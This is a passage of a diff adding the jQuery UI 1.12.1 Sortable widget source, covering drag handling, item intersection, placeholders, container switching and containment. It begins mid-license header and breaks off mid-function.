license. + * http://jquery.org/license + */ + +//>>label: Sortable +//>>group: Interactions +//>>description: Enables items in a list to be sorted using the mouse. +//>>docs: http://api.jqueryui.com/sortable/ +//>>demos: http://jqueryui.com/sortable/ +//>>css.structure: ../../themes/base/sortable.css + + + +var widgetsSortable = $.widget( "ui.sortable", $.ui.mouse, { + version: "1.12.1", + widgetEventPrefix: "sort", + ready: false, + options: { + appendTo: "parent", + axis: false, + connectWith: false, + containment: false, + cursor: "auto", + cursorAt: false, + dropOnEmpty: true, + forcePlaceholderSize: false, + forceHelperSize: false, + grid: false, + handle: false, + helper: "original", + items: "> *", + opacity: false, + placeholder: false, + revert: false, + scroll: true, + scrollSensitivity: 20, + scrollSpeed: 20, + scope: "default", + tolerance: "intersect", + zIndex: 1000, + + // Callbacks + activate: null, + beforeStop: null, + change: null, + deactivate: null, + out: null, + over: null, + receive: null, + remove: null, + sort: null, + start: null, + stop: null, + update: null + }, + + _isOverAxis: function( x, reference, size ) { + return ( x >= reference ) && ( x < ( reference + size ) ); + }, + + _isFloating: function( item ) { + return ( /left|right/ ).test( item.css( "float" ) ) || + ( /inline|table-cell/ ).test( item.css( "display" ) ); + }, + + _create: function() { + this.containerCache = {}; + this._addClass( "ui-sortable" ); + + //Get the items + this.refresh(); + + //Let's determine the parent's offset + this.offset = this.element.offset(); + + //Initialize mouse events for interaction + this._mouseInit(); + + this._setHandleClassName(); + + //We're ready to go + this.ready = true; + + }, + + _setOption: function( key, value ) { + this._super( key, value ); + + if ( key === "handle" ) { + this._setHandleClassName(); + } + }, + + _setHandleClassName: function() { + var that = this; + this._removeClass( this.element.find( ".ui-sortable-handle" ), "ui-sortable-handle" ); + $.each( this.items, function() { + that._addClass( + this.instance.options.handle ? + this.item.find( this.instance.options.handle ) : + this.item, + "ui-sortable-handle" + ); + } ); + }, + + _destroy: function() { + this._mouseDestroy(); + + for ( var i = this.items.length - 1; i >= 0; i-- ) { + this.items[ i ].item.removeData( this.widgetName + "-item" ); + } + + return this; + }, + + _mouseCapture: function( event, overrideHandle ) { + var currentItem = null, + validHandle = false, + that = this; + + if ( this.reverting ) { + return false; + } + + if ( this.options.disabled || this.options.type === "static" ) { + return false; + } + + //We have to refresh the items data once first + this._refreshItems( event ); + + //Find out if the clicked node (or one of its parents) is a actual item in this.items + $( event.target ).parents().each( function() { + if ( $.data( this, that.widgetName + "-item" ) === that ) { + currentItem = $( this ); + return false; + } + } ); + if ( $.data( event.target, that.widgetName + "-item" ) === that ) { + currentItem = $( event.target ); + } + + if ( !currentItem ) { + return false; + } + if ( this.options.handle && !overrideHandle ) { + $( this.options.handle, currentItem ).find( "*" ).addBack().each( function() { + if ( this === event.target ) { + validHandle = true; + } + } ); + if ( !validHandle ) { + return false; + } + } + + this.currentItem = currentItem; + this._removeCurrentsFromItems(); + return true; + + }, + + _mouseStart: function( event, overrideHandle, noActivation ) { + + var i, body, + o = this.options; + + this.currentContainer = this; + + //We only need to call refreshPositions, because the refreshItems call has been moved to + // mouseCapture + this.refreshPositions(); + + //Create and append the visible helper + this.helper = this._createHelper( event ); + + //Cache the helper size + this._cacheHelperProportions(); + + /* + * - Position generation - + * This block generates everything position related - it's the core of draggables. + */ + + //Cache the margins of the original element + this._cacheMargins(); + + //Get the next scrolling parent + this.scrollParent = this.helper.scrollParent(); + + //The element's absolute position on the page minus margins + this.offset = this.currentItem.offset(); + this.offset = { + top: this.offset.top - this.margins.top, + left: this.offset.left - this.margins.left + }; + + $.extend( this.offset, { + click: { //Where the click happened, relative to the element + left: event.pageX - this.offset.left, + top: event.pageY - this.offset.top + }, + parent: this._getParentOffset(), + + // This is a relative to absolute position minus the actual position calculation - + // only used for relative positioned helper + relative: this._getRelativeOffset() + } ); + + // Only after we got the offset, we can change the helper's position to absolute + // TODO: Still need to figure out a way to make relative sorting possible + this.helper.css( "position", "absolute" ); + this.cssPosition = this.helper.css( "position" ); + + //Generate the original position + this.originalPosition = this._generatePosition( event ); + this.originalPageX = event.pageX; + this.originalPageY = event.pageY; + + //Adjust the mouse offset relative to the helper if "cursorAt" is supplied + ( o.cursorAt && this._adjustOffsetFromHelper( o.cursorAt ) ); + + //Cache the former DOM position + this.domPosition = { + prev: this.currentItem.prev()[ 0 ], + parent: this.currentItem.parent()[ 0 ] + }; + + // If the helper is not the original, hide the original so it's not playing any role during + // the drag, won't cause anything bad this way + if ( this.helper[ 0 ] !== this.currentItem[ 0 ] ) { + this.currentItem.hide(); + } + + //Create the placeholder + this._createPlaceholder(); + + //Set a containment if given in the options + if ( o.containment ) { + this._setContainment(); + } + + if ( o.cursor && o.cursor !== "auto" ) { // cursor option + body = this.document.find( "body" ); + + // Support: IE + this.storedCursor = body.css( "cursor" ); + body.css( "cursor", o.cursor ); + + this.storedStylesheet = + $( "<style>*{ cursor: " + o.cursor + " !important; }</style>" ).appendTo( body ); + } + + if ( o.opacity ) { // opacity option + if ( this.helper.css( "opacity" ) ) { + this._storedOpacity = this.helper.css( "opacity" ); + } + this.helper.css( "opacity", o.opacity ); + } + + if ( o.zIndex ) { // zIndex option + if ( this.helper.css( "zIndex" ) ) { + this._storedZIndex = this.helper.css( "zIndex" ); + } + this.helper.css( "zIndex", o.zIndex ); + } + + //Prepare scrolling + if ( this.scrollParent[ 0 ] !== this.document[ 0 ] && + this.scrollParent[ 0 ].tagName !== "HTML" ) { + this.overflowOffset = this.scrollParent.offset(); + } + + //Call callbacks + this._trigger( "start", event, this._uiHash() ); + + //Recache the helper size + if ( !this._preserveHelperProportions ) { + this._cacheHelperProportions(); + } + + //Post "activate" events to possible containers + if ( !noActivation ) { + for ( i = this.containers.length - 1; i >= 0; i-- ) { + this.containers[ i ]._trigger( "activate", event, this._uiHash( this ) ); + } + } + + //Prepare possible droppables + if ( $.ui.ddmanager ) { + $.ui.ddmanager.current = this; + } + + if ( $.ui.ddmanager && !o.dropBehaviour ) { + $.ui.ddmanager.prepareOffsets( this, event ); + } + + this.dragging = true; + + this._addClass( this.helper, "ui-sortable-helper" ); + + // Execute the drag once - this causes the helper not to be visiblebefore getting its + // correct position + this._mouseDrag( event ); + return true; + + }, + + _mouseDrag: function( event ) { + var i, item, itemElement, intersection, + o = this.options, + scrolled = false; + + //Compute the helpers position + this.position = this._generatePosition( event ); + this.positionAbs = this._convertPositionTo( "absolute" ); + + if ( !this.lastPositionAbs ) { + this.lastPositionAbs = this.positionAbs; + } + + //Do scrolling + if ( this.options.scroll ) { + if ( this.scrollParent[ 0 ] !== this.document[ 0 ] && + this.scrollParent[ 0 ].tagName !== "HTML" ) { + + if ( ( this.overflowOffset.top + this.scrollParent[ 0 ].offsetHeight ) - + event.pageY < o.scrollSensitivity ) { + this.scrollParent[ 0 ].scrollTop = + scrolled = this.scrollParent[ 0 ].scrollTop + o.scrollSpeed; + } else if ( event.pageY - this.overflowOffset.top < o.scrollSensitivity ) { + this.scrollParent[ 0 ].scrollTop = + scrolled = this.scrollParent[ 0 ].scrollTop - o.scrollSpeed; + } + + if ( ( this.overflowOffset.left + this.scrollParent[ 0 ].offsetWidth ) - + event.pageX < o.scrollSensitivity ) { + this.scrollParent[ 0 ].scrollLeft = scrolled = + this.scrollParent[ 0 ].scrollLeft + o.scrollSpeed; + } else if ( event.pageX - this.overflowOffset.left < o.scrollSensitivity ) { + this.scrollParent[ 0 ].scrollLeft = scrolled = + this.scrollParent[ 0 ].scrollLeft - o.scrollSpeed; + } + + } else { + + if ( event.pageY - this.document.scrollTop() < o.scrollSensitivity ) { + scrolled = this.document.scrollTop( this.document.scrollTop() - o.scrollSpeed ); + } else if ( this.window.height() - ( event.pageY - this.document.scrollTop() ) < + o.scrollSensitivity ) { + scrolled = this.document.scrollTop( this.document.scrollTop() + o.scrollSpeed ); + } + + if ( event.pageX - this.document.scrollLeft() < o.scrollSensitivity ) { + scrolled = this.document.scrollLeft( + this.document.scrollLeft() - o.scrollSpeed + ); + } else if ( this.window.width() - ( event.pageX - this.document.scrollLeft() ) < + o.scrollSensitivity ) { + scrolled = this.document.scrollLeft( + this.document.scrollLeft() + o.scrollSpeed + ); + } + + } + + if ( scrolled !== false && $.ui.ddmanager && !o.dropBehaviour ) { + $.ui.ddmanager.prepareOffsets( this, event ); + } + } + + //Regenerate the absolute position used for position checks + this.positionAbs = this._convertPositionTo( "absolute" ); + + //Set the helper position + if ( !this.options.axis || this.options.axis !== "y" ) { + this.helper[ 0 ].style.left = this.position.left + "px"; + } + if ( !this.options.axis || this.options.axis !== "x" ) { + this.helper[ 0 ].style.top = this.position.top + "px"; + } + + //Rearrange + for ( i = this.items.length - 1; i >= 0; i-- ) { + + //Cache variables and intersection, continue if no intersection + item = this.items[ i ]; + itemElement = item.item[ 0 ]; + intersection = this._intersectsWithPointer( item ); + if ( !intersection ) { + continue; + } + + // Only put the placeholder inside the current Container, skip all + // items from other containers. This works because when moving + // an item from one container to another the + // currentContainer is switched before the placeholder is moved. + // + // Without this, moving items in "sub-sortables" can cause + // the placeholder to jitter between the outer and inner container. + if ( item.instance !== this.currentContainer ) { + continue; + } + + // Cannot intersect with itself + // no useless actions that have been done before + // no action if the item moved is the parent of the item checked + if ( itemElement !== this.currentItem[ 0 ] && + this.placeholder[ intersection === 1 ? "next" : "prev" ]()[ 0 ] !== itemElement && + !$.contains( this.placeholder[ 0 ], itemElement ) && + ( this.options.type === "semi-dynamic" ? + !$.contains( this.element[ 0 ], itemElement ) : + true + ) + ) { + + this.direction = intersection === 1 ? "down" : "up"; + + if ( this.options.tolerance === "pointer" || this._intersectsWithSides( item ) ) { + this._rearrange( event, item ); + } else { + break; + } + + this._trigger( "change", event, this._uiHash() ); + break; + } + } + + //Post events to containers + this._contactContainers( event ); + + //Interconnect with droppables + if ( $.ui.ddmanager ) { + $.ui.ddmanager.drag( this, event ); + } + + //Call callbacks + this._trigger( "sort", event, this._uiHash() ); + + this.lastPositionAbs = this.positionAbs; + return false; + + }, + + _mouseStop: function( event, noPropagation ) { + + if ( !event ) { + return; + } + + //If we are using droppables, inform the manager about the drop + if ( $.ui.ddmanager && !this.options.dropBehaviour ) { + $.ui.ddmanager.drop( this, event ); + } + + if ( this.options.revert ) { + var that = this, + cur = this.placeholder.offset(), + axis = this.options.axis, + animation = {}; + + if ( !axis || axis === "x" ) { + animation.left = cur.left - this.offset.parent.left - this.margins.left + + ( this.offsetParent[ 0 ] === this.document[ 0 ].body ? + 0 : + this.offsetParent[ 0 ].scrollLeft + ); + } + if ( !axis || axis === "y" ) { + animation.top = cur.top - this.offset.parent.top - this.margins.top + + ( this.offsetParent[ 0 ] === this.document[ 0 ].body ? + 0 : + this.offsetParent[ 0 ].scrollTop + ); + } + this.reverting = true; + $( this.helper ).animate( + animation, + parseInt( this.options.revert, 10 ) || 500, + function() { + that._clear( event ); + } + ); + } else { + this._clear( event, noPropagation ); + } + + return false; + + }, + + cancel: function() { + + if ( this.dragging ) { + + this._mouseUp( new $.Event( "mouseup", { target: null } ) ); + + if ( this.options.helper === "original" ) { + this.currentItem.css( this._storedCSS ); + this._removeClass( this.currentItem, "ui-sortable-helper" ); + } else { + this.currentItem.show(); + } + + //Post deactivating events to containers + for ( var i = this.containers.length - 1; i >= 0; i-- ) { + this.containers[ i ]._trigger( "deactivate", null, this._uiHash( this ) ); + if ( this.containers[ i ].containerCache.over ) { + this.containers[ i ]._trigger( "out", null, this._uiHash( this ) ); + this.containers[ i ].containerCache.over = 0; + } + } + + } + + if ( this.placeholder ) { + + //$(this.placeholder[0]).remove(); would have been the jQuery way - unfortunately, + // it unbinds ALL events from the original node! + if ( this.placeholder[ 0 ].parentNode ) { + this.placeholder[ 0 ].parentNode.removeChild( this.placeholder[ 0 ] ); + } + if ( this.options.helper !== "original" && this.helper && + this.helper[ 0 ].parentNode ) { + this.helper.remove(); + } + + $.extend( this, { + helper: null, + dragging: false, + reverting: false, + _noFinalSort: null + } ); + + if ( this.domPosition.prev ) { + $( this.domPosition.prev ).after( this.currentItem ); + } else { + $( this.domPosition.parent ).prepend( this.currentItem ); + } + } + + return this; + + }, + + serialize: function( o ) { + + var items = this._getItemsAsjQuery( o && o.connected ), + str = []; + o = o || {}; + + $( items ).each( function() { + var res = ( $( o.item || this ).attr( o.attribute || "id" ) || "" ) + .match( o.expression || ( /(.+)[\-=_](.+)/ ) ); + if ( res ) { + str.push( + ( o.key || res[ 1 ] + "[]" ) + + "=" + ( o.key && o.expression ? res[ 1 ] : res[ 2 ] ) ); + } + } ); + + if ( !str.length && o.key ) { + str.push( o.key + "=" ); + } + + return str.join( "&" ); + + }, + + toArray: function( o ) { + + var items = this._getItemsAsjQuery( o && o.connected ), + ret = []; + + o = o || {}; + + items.each( function() { + ret.push( $( o.item || this ).attr( o.attribute || "id" ) || "" ); + } ); + return ret; + + }, + + /* Be careful with the following core functions */ + _intersectsWith: function( item ) { + + var x1 = this.positionAbs.left, + x2 = x1 + this.helperProportions.width, + y1 = this.positionAbs.top, + y2 = y1 + this.helperProportions.height, + l = item.left, + r = l + item.width, + t = item.top, + b = t + item.height, + dyClick = this.offset.click.top, + dxClick = this.offset.click.left, + isOverElementHeight = ( this.options.axis === "x" ) || ( ( y1 + dyClick ) > t && + ( y1 + dyClick ) < b ), + isOverElementWidth = ( this.options.axis === "y" ) || ( ( x1 + dxClick ) > l && + ( x1 + dxClick ) < r ), + isOverElement = isOverElementHeight && isOverElementWidth; + + if ( this.options.tolerance === "pointer" || + this.options.forcePointerForContainers || + ( this.options.tolerance !== "pointer" && + this.helperProportions[ this.floating ? "width" : "height" ] > + item[ this.floating ? "width" : "height" ] ) + ) { + return isOverElement; + } else { + + return ( l < x1 + ( this.helperProportions.width / 2 ) && // Right Half + x2 - ( this.helperProportions.width / 2 ) < r && // Left Half + t < y1 + ( this.helperProportions.height / 2 ) && // Bottom Half + y2 - ( this.helperProportions.height / 2 ) < b ); // Top Half + + } + }, + + _intersectsWithPointer: function( item ) { + var verticalDirection, horizontalDirection, + isOverElementHeight = ( this.options.axis === "x" ) || + this._isOverAxis( + this.positionAbs.top + this.offset.click.top, item.top, item.height ), + isOverElementWidth = ( this.options.axis === "y" ) || + this._isOverAxis( + this.positionAbs.left + this.offset.click.left, item.left, item.width ), + isOverElement = isOverElementHeight && isOverElementWidth; + + if ( !isOverElement ) { + return false; + } + + verticalDirection = this._getDragVerticalDirection(); + horizontalDirection = this._getDragHorizontalDirection(); + + return this.floating ? + ( ( horizontalDirection === "right" || verticalDirection === "down" ) ? 2 : 1 ) + : ( verticalDirection && ( verticalDirection === "down" ? 2 : 1 ) ); + + }, + + _intersectsWithSides: function( item ) { + + var isOverBottomHalf = this._isOverAxis( this.positionAbs.top + + this.offset.click.top, item.top + ( item.height / 2 ), item.height ), + isOverRightHalf = this._isOverAxis( this.positionAbs.left + + this.offset.click.left, item.left + ( item.width / 2 ), item.width ), + verticalDirection = this._getDragVerticalDirection(), + horizontalDirection = this._getDragHorizontalDirection(); + + if ( this.floating && horizontalDirection ) { + return ( ( horizontalDirection === "right" && isOverRightHalf ) || + ( horizontalDirection === "left" && !isOverRightHalf ) ); + } else { + return verticalDirection && ( ( verticalDirection === "down" && isOverBottomHalf ) || + ( verticalDirection === "up" && !isOverBottomHalf ) ); + } + + }, + + _getDragVerticalDirection: function() { + var delta = this.positionAbs.top - this.lastPositionAbs.top; + return delta !== 0 && ( delta > 0 ? "down" : "up" ); + }, + + _getDragHorizontalDirection: function() { + var delta = this.positionAbs.left - this.lastPositionAbs.left; + return delta !== 0 && ( delta > 0 ? "right" : "left" ); + }, + + refresh: function( event ) { + this._refreshItems( event ); + this._setHandleClassName(); + this.refreshPositions(); + return this; + }, + + _connectWith: function() { + var options = this.options; + return options.connectWith.constructor === String ? + [ options.connectWith ] : + options.connectWith; + }, + + _getItemsAsjQuery: function( connected ) { + + var i, j, cur, inst, + items = [], + queries = [], + connectWith = this._connectWith(); + + if ( connectWith && connected ) { + for ( i = connectWith.length - 1; i >= 0; i-- ) { + cur = $( connectWith[ i ], this.document[ 0 ] ); + for ( j = cur.length - 1; j >= 0; j-- ) { + inst = $.data( cur[ j ], this.widgetFullName ); + if ( inst && inst !== this && !inst.options.disabled ) { + queries.push( [ $.isFunction( inst.options.items ) ? + inst.options.items.call( inst.element ) : + $( inst.options.items, inst.element ) + .not( ".ui-sortable-helper" ) + .not( ".ui-sortable-placeholder" ), inst ] ); + } + } + } + } + + queries.push( [ $.isFunction( this.options.items ) ? + this.options.items + .call( this.element, null, { options: this.options, item: this.currentItem } ) : + $( this.options.items, this.element ) + .not( ".ui-sortable-helper" ) + .not( ".ui-sortable-placeholder" ), this ] ); + + function addItems() { + items.push( this ); + } + for ( i = queries.length - 1; i >= 0; i-- ) { + queries[ i ][ 0 ].each( addItems ); + } + + return $( items ); + + }, + + _removeCurrentsFromItems: function() { + + var list = this.currentItem.find( ":data(" + this.widgetName + "-item)" ); + + this.items = $.grep( this.items, function( item ) { + for ( var j = 0; j < list.length; j++ ) { + if ( list[ j ] === item.item[ 0 ] ) { + return false; + } + } + return true; + } ); + + }, + + _refreshItems: function( event ) { + + this.items = []; + this.containers = [ this ]; + + var i, j, cur, inst, targetData, _queries, item, queriesLength, + items = this.items, + queries = [ [ $.isFunction( this.options.items ) ? + this.options.items.call( this.element[ 0 ], event, { item: this.currentItem } ) : + $( this.options.items, this.element ), this ] ], + connectWith = this._connectWith(); + + //Shouldn't be run the first time through due to massive slow-down + if ( connectWith && this.ready ) { + for ( i = connectWith.length - 1; i >= 0; i-- ) { + cur = $( connectWith[ i ], this.document[ 0 ] ); + for ( j = cur.length - 1; j >= 0; j-- ) { + inst = $.data( cur[ j ], this.widgetFullName ); + if ( inst && inst !== this && !inst.options.disabled ) { + queries.push( [ $.isFunction( inst.options.items ) ? + inst.options.items + .call( inst.element[ 0 ], event, { item: this.currentItem } ) : + $( inst.options.items, inst.element ), inst ] ); + this.containers.push( inst ); + } + } + } + } + + for ( i = queries.length - 1; i >= 0; i-- ) { + targetData = queries[ i ][ 1 ]; + _queries = queries[ i ][ 0 ]; + + for ( j = 0, queriesLength = _queries.length; j < queriesLength; j++ ) { + item = $( _queries[ j ] ); + + // Data for target checking (mouse manager) + item.data( this.widgetName + "-item", targetData ); + + items.push( { + item: item, + instance: targetData, + width: 0, height: 0, + left: 0, top: 0 + } ); + } + } + + }, + + refreshPositions: function( fast ) { + + // Determine whether items are being displayed horizontally + this.floating = this.items.length ? + this.options.axis === "x" || this._isFloating( this.items[ 0 ].item ) : + false; + + //This has to be redone because due to the item being moved out/into the offsetParent, + // the offsetParent's position will change + if ( this.offsetParent && this.helper ) { + this.offset.parent = this._getParentOffset(); + } + + var i, item, t, p; + + for ( i = this.items.length - 1; i >= 0; i-- ) { + item = this.items[ i ]; + + //We ignore calculating positions of all connected containers when we're not over them + if ( item.instance !== this.currentContainer && this.currentContainer && + item.item[ 0 ] !== this.currentItem[ 0 ] ) { + continue; + } + + t = this.options.toleranceElement ? + $( this.options.toleranceElement, item.item ) : + item.item; + + if ( !fast ) { + item.width = t.outerWidth(); + item.height = t.outerHeight(); + } + + p = t.offset(); + item.left = p.left; + item.top = p.top; + } + + if ( this.options.custom && this.options.custom.refreshContainers ) { + this.options.custom.refreshContainers.call( this ); + } else { + for ( i = this.containers.length - 1; i >= 0; i-- ) { + p = this.containers[ i ].element.offset(); + this.containers[ i ].containerCache.left = p.left; + this.containers[ i ].containerCache.top = p.top; + this.containers[ i ].containerCache.width = + this.containers[ i ].element.outerWidth(); + this.containers[ i ].containerCache.height = + this.containers[ i ].element.outerHeight(); + } + } + + return this; + }, + + _createPlaceholder: function( that ) { + that = that || this; + var className, + o = that.options; + + if ( !o.placeholder || o.placeholder.constructor === String ) { + className = o.placeholder; + o.placeholder = { + element: function() { + + var nodeName = that.currentItem[ 0 ].nodeName.toLowerCase(), + element = $( "<" + nodeName + ">", that.document[ 0 ] ); + + that._addClass( element, "ui-sortable-placeholder", + className || that.currentItem[ 0 ].className ) + ._removeClass( element, "ui-sortable-helper" ); + + if ( nodeName === "tbody" ) { + that._createTrPlaceholder( + that.currentItem.find( "tr" ).eq( 0 ), + $( "<tr>", that.document[ 0 ] ).appendTo( element ) + ); + } else if ( nodeName === "tr" ) { + that._createTrPlaceholder( that.currentItem, element ); + } else if ( nodeName === "img" ) { + element.attr( "src", that.currentItem.attr( "src" ) ); + } + + if ( !className ) { + element.css( "visibility", "hidden" ); + } + + return element; + }, + update: function( container, p ) { + + // 1. If a className is set as 'placeholder option, we don't force sizes - + // the class is responsible for that + // 2. The option 'forcePlaceholderSize can be enabled to force it even if a + // class name is specified + if ( className && !o.forcePlaceholderSize ) { + return; + } + + //If the element doesn't have a actual height by itself (without styles coming + // from a stylesheet), it receives the inline height from the dragged item + if ( !p.height() ) { + p.height( + that.currentItem.innerHeight() - + parseInt( that.currentItem.css( "paddingTop" ) || 0, 10 ) - + parseInt( that.currentItem.css( "paddingBottom" ) || 0, 10 ) ); + } + if ( !p.width() ) { + p.width( + that.currentItem.innerWidth() - + parseInt( that.currentItem.css( "paddingLeft" ) || 0, 10 ) - + parseInt( that.currentItem.css( "paddingRight" ) || 0, 10 ) ); + } + } + }; + } + + //Create the placeholder + that.placeholder = $( o.placeholder.element.call( that.element, that.currentItem ) ); + + //Append it after the actual current item + that.currentItem.after( that.placeholder ); + + //Update the size of the placeholder (TODO: Logic to fuzzy, see line 316/317) + o.placeholder.update( that, that.placeholder ); + + }, + + _createTrPlaceholder: function( sourceTr, targetTr ) { + var that = this; + + sourceTr.children().each( function() { + $( "<td> </td>", that.document[ 0 ] ) + .attr( "colspan", $( this ).attr( "colspan" ) || 1 ) + .appendTo( targetTr ); + } ); + }, + + _contactContainers: function( event ) { + var i, j, dist, itemWithLeastDistance, posProperty, sizeProperty, cur, nearBottom, + floating, axis, + innermostContainer = null, + innermostIndex = null; + + // Get innermost container that intersects with item + for ( i = this.containers.length - 1; i >= 0; i-- ) { + + // Never consider a container that's located within the item itself + if ( $.contains( this.currentItem[ 0 ], this.containers[ i ].element[ 0 ] ) ) { + continue; + } + + if ( this._intersectsWith( this.containers[ i ].containerCache ) ) { + + // If we've already found a container and it's more "inner" than this, then continue + if ( innermostContainer && + $.contains( + this.containers[ i ].element[ 0 ], + innermostContainer.element[ 0 ] ) ) { + continue; + } + + innermostContainer = this.containers[ i ]; + innermostIndex = i; + + } else { + + // container doesn't intersect. trigger "out" event if necessary + if ( this.containers[ i ].containerCache.over ) { + this.containers[ i ]._trigger( "out", event, this._uiHash( this ) ); + this.containers[ i ].containerCache.over = 0; + } + } + + } + + // If no intersecting containers found, return + if ( !innermostContainer ) { + return; + } + + // Move the item into the container if it's not there already + if ( this.containers.length === 1 ) { + if ( !this.containers[ innermostIndex ].containerCache.over ) { + this.containers[ innermostIndex ]._trigger( "over", event, this._uiHash( this ) ); + this.containers[ innermostIndex ].containerCache.over = 1; + } + } else { + + // When entering a new container, we will find the item with the least distance and + // append our item near it + dist = 10000; + itemWithLeastDistance = null; + floating = innermostContainer.floating || this._isFloating( this.currentItem ); + posProperty = floating ? "left" : "top"; + sizeProperty = floating ? "width" : "height"; + axis = floating ? "pageX" : "pageY"; + + for ( j = this.items.length - 1; j >= 0; j-- ) { + if ( !$.contains( + this.containers[ innermostIndex ].element[ 0 ], this.items[ j ].item[ 0 ] ) + ) { + continue; + } + if ( this.items[ j ].item[ 0 ] === this.currentItem[ 0 ] ) { + continue; + } + + cur = this.items[ j ].item.offset()[ posProperty ]; + nearBottom = false; + if ( event[ axis ] - cur > this.items[ j ][ sizeProperty ] / 2 ) { + nearBottom = true; + } + + if ( Math.abs( event[ axis ] - cur ) < dist ) { + dist = Math.abs( event[ axis ] - cur ); + itemWithLeastDistance = this.items[ j ]; + this.direction = nearBottom ? "up" : "down"; + } + } + + //Check if dropOnEmpty is enabled + if ( !itemWithLeastDistance && !this.options.dropOnEmpty ) { + return; + } + + if ( this.currentContainer === this.containers[ innermostIndex ] ) { + if ( !this.currentContainer.containerCache.over ) { + this.containers[ innermostIndex ]._trigger( "over", event, this._uiHash() ); + this.currentContainer.containerCache.over = 1; + } + return; + } + + itemWithLeastDistance ? + this._rearrange( event, itemWithLeastDistance, null, true ) : + this._rearrange( event, null, this.containers[ innermostIndex ].element, true ); + this._trigger( "change", event, this._uiHash() ); + this.containers[ innermostIndex ]._trigger( "change", event, this._uiHash( this ) ); + this.currentContainer = this.containers[ innermostIndex ]; + + //Update the placeholder + this.options.placeholder.update( this.currentContainer, this.placeholder ); + + this.containers[ innermostIndex ]._trigger( "over", event, this._uiHash( this ) ); + this.containers[ innermostIndex ].containerCache.over = 1; + } + + }, + + _createHelper: function( event ) { + + var o = this.options, + helper = $.isFunction( o.helper ) ? + $( o.helper.apply( this.element[ 0 ], [ event, this.currentItem ] ) ) : + ( o.helper === "clone" ? this.currentItem.clone() : this.currentItem ); + + //Add the helper to the DOM if that didn't happen already + if ( !helper.parents( "body" ).length ) { + $( o.appendTo !== "parent" ? + o.appendTo : + this.currentItem[ 0 ].parentNode )[ 0 ].appendChild( helper[ 0 ] ); + } + + if ( helper[ 0 ] === this.currentItem[ 0 ] ) { + this._storedCSS = { + width: this.currentItem[ 0 ].style.width, + height: this.currentItem[ 0 ].style.height, + position: this.currentItem.css( "position" ), + top: this.currentItem.css( "top" ), + left: this.currentItem.css( "left" ) + }; + } + + if ( !helper[ 0 ].style.width || o.forceHelperSize ) { + helper.width( this.currentItem.width() ); + } + if ( !helper[ 0 ].style.height || o.forceHelperSize ) { + helper.height( this.currentItem.height() ); + } + + return helper; + + }, + + _adjustOffsetFromHelper: function( obj ) { + if ( typeof obj === "string" ) { + obj = obj.split( " " ); + } + if ( $.isArray( obj ) ) { + obj = { left: +obj[ 0 ], top: +obj[ 1 ] || 0 }; + } + if ( "left" in obj ) { + this.offset.click.left = obj.left + this.margins.left; + } + if ( "right" in obj ) { + this.offset.click.left = this.helperProportions.width - obj.right + this.margins.left; + } + if ( "top" in obj ) { + this.offset.click.top = obj.top + this.margins.top; + } + if ( "bottom" in obj ) { + this.offset.click.top = this.helperProportions.height - obj.bottom + this.margins.top; + } + }, + + _getParentOffset: function() { + + //Get the offsetParent and cache its position + this.offsetParent = this.helper.offsetParent(); + var po = this.offsetParent.offset(); + + // This is a special case where we need to modify a offset calculated on start, since the + // following happened: + // 1. The position of the helper is absolute, so it's position is calculated based on the + // next positioned parent + // 2. The actual offset parent is a child of the scroll parent, and the scroll parent isn't + // the document, which means that the scroll is included in the initial calculation of the + // offset of the parent, and never recalculated upon drag + if ( this.cssPosition === "absolute" && this.scrollParent[ 0 ] !== this.document[ 0 ] && + $.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) { + po.left += this.scrollParent.scrollLeft(); + po.top += this.scrollParent.scrollTop(); + } + + // This needs to be actually done for all browsers, since pageX/pageY includes this + // information with an ugly IE fix + if ( this.offsetParent[ 0 ] === this.document[ 0 ].body || + ( this.offsetParent[ 0 ].tagName && + this.offsetParent[ 0 ].tagName.toLowerCase() === "html" && $.ui.ie ) ) { + po = { top: 0, left: 0 }; + } + + return { + top: po.top + ( parseInt( this.offsetParent.css( "borderTopWidth" ), 10 ) || 0 ), + left: po.left + ( parseInt( this.offsetParent.css( "borderLeftWidth" ), 10 ) || 0 ) + }; + + }, + + _getRelativeOffset: function() { + + if ( this.cssPosition === "relative" ) { + var p = this.currentItem.position(); + return { + top: p.top - ( parseInt( this.helper.css( "top" ), 10 ) || 0 ) + + this.scrollParent.scrollTop(), + left: p.left - ( parseInt( this.helper.css( "left" ), 10 ) || 0 ) + + this.scrollParent.scrollLeft() + }; + } else { + return { top: 0, left: 0 }; + } + + }, + + _cacheMargins: function() { + this.margins = { + left: ( parseInt( this.currentItem.css( "marginLeft" ), 10 ) || 0 ), + top: ( parseInt( this.currentItem.css( "marginTop" ), 10 ) || 0 ) + }; + }, + + _cacheHelperProportions: function() { + this.helperProportions = { + width: this.helper.outerWidth(), + height: this.helper.outerHeight() + }; + }, + + _setContainment: function() { + + var ce, co, over, + o = this.options; + if ( o.containment === "parent" ) { + o.containment = this.helper[ 0 ].parentNode; + } + if ( o.containment === "document" || o.containment === "window" ) { + this.containment = [ + 0 - this.offset.relative.left - this.offset.parent.left, + 0 - this.offset.relative.top - this.offset.parent.top, + o.containment === "document" ? + this.document.width() : + this.window.width() - this.helperProportions.width - this.margins.left, + ( o.containment === "document" ? + ( this.document.height() || document.body.parentNode.scrollHeight ) : + this.window.height() || this.document[ 0 ].body.parentNode.scrollHeight + ) - this.helperProportions.height - this.margins.top + ]; + } + + if ( !( /^(document|window|parent)$/ ).test( o.containment ) ) { + ce = $( o.containment )[ 0 ]; + co = $( o.containment ).offset(); + over = ( $( ce ).css( "overflow" ) !== "hidden" ); + + this.containment = [ + co.left + ( parseInt( $( ce ).css( "borderLeftWidth" ), 10 ) || 0 ) + + ( parseInt( $( ce ).css( "paddingLeft" ), 10 ) || 0 ) - this.margins.left, + co.top + ( parseInt( $( ce ).css( "borderTopWidth" ), 10 ) || 0 ) + + ( parseInt( $( ce ).css( "paddingTop" ), 10 ) || 0 ) - this.margins.top, + co.left + ( over ? Math.max( ce.scrollWidth, ce.offsetWidth ) : ce.offsetWidth ) - + ( parseInt( $( ce ).css( "borderLeftWidth" ), 10 ) || 0 ) - + ( parseInt( $( ce ).css( "paddingRight" ), 10 ) || 0 ) - + this.helperProportions.width - this.margins.left, + co.top + ( over ? Math.max( ce.scrollHeight, ce.offsetHeight ) : ce.offsetHeight ) - + ( parseInt( $( ce ).css( "borderTopWidth" ), 10 ) || 0 ) - + ( parseInt( $( ce ).css( "paddingBottom" ), 10 ) || 0 ) - + this.helperProportions.height - this.margins.top + ]; + } + + }, + + _convertPositionTo: function( d, pos 